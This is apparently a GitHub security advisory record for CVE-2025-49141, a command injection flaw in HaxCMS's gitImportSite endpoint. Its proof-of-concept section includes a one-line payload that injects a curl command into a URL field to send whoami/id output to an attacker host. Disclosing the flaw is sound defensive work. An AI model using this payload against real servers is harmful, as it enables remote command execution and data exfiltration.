{"id":"GHSA-g4cf-pp4x-hqgw","summary":"HaxCMS-PHP Command Injection Vulnerability","details":"### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\\u003cdomain\\\u003e/\\\u003cuser\\\u003e/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)\n\n3.  Capture and modify the request in BurpSuite.\n![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)\n\n\n#### Command Injection Payload\n```Bash\nhttp://\u003cIP\u003e/.git;curl${IFS}\u003cIP\u003e/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.","aliases":["CVE-2025-49141"],"modified":"2026-09-10T03:50:25.291035050Z","published":"2025-06-09T20:30:34Z","database_specific":{"github_reviewed_at":"2025-06-09T20:30:34Z","nvd_published_at":"2025-06-09T21:15:47Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-49141"},{"type":"WEB","url":"https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"},{"type":"PACKAGE","url":"https://github.com/haxtheweb/haxcms-nodejs"}],"affected":[{"package":{"name":"@haxtheweb/haxcms-nodejs","ecosystem":"npm","purl":"pkg:npm/%40haxtheweb/haxcms-nodejs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"11.0.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-g4cf-pp4x-hqgw/GHSA-g4cf-pp4x-hqgw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}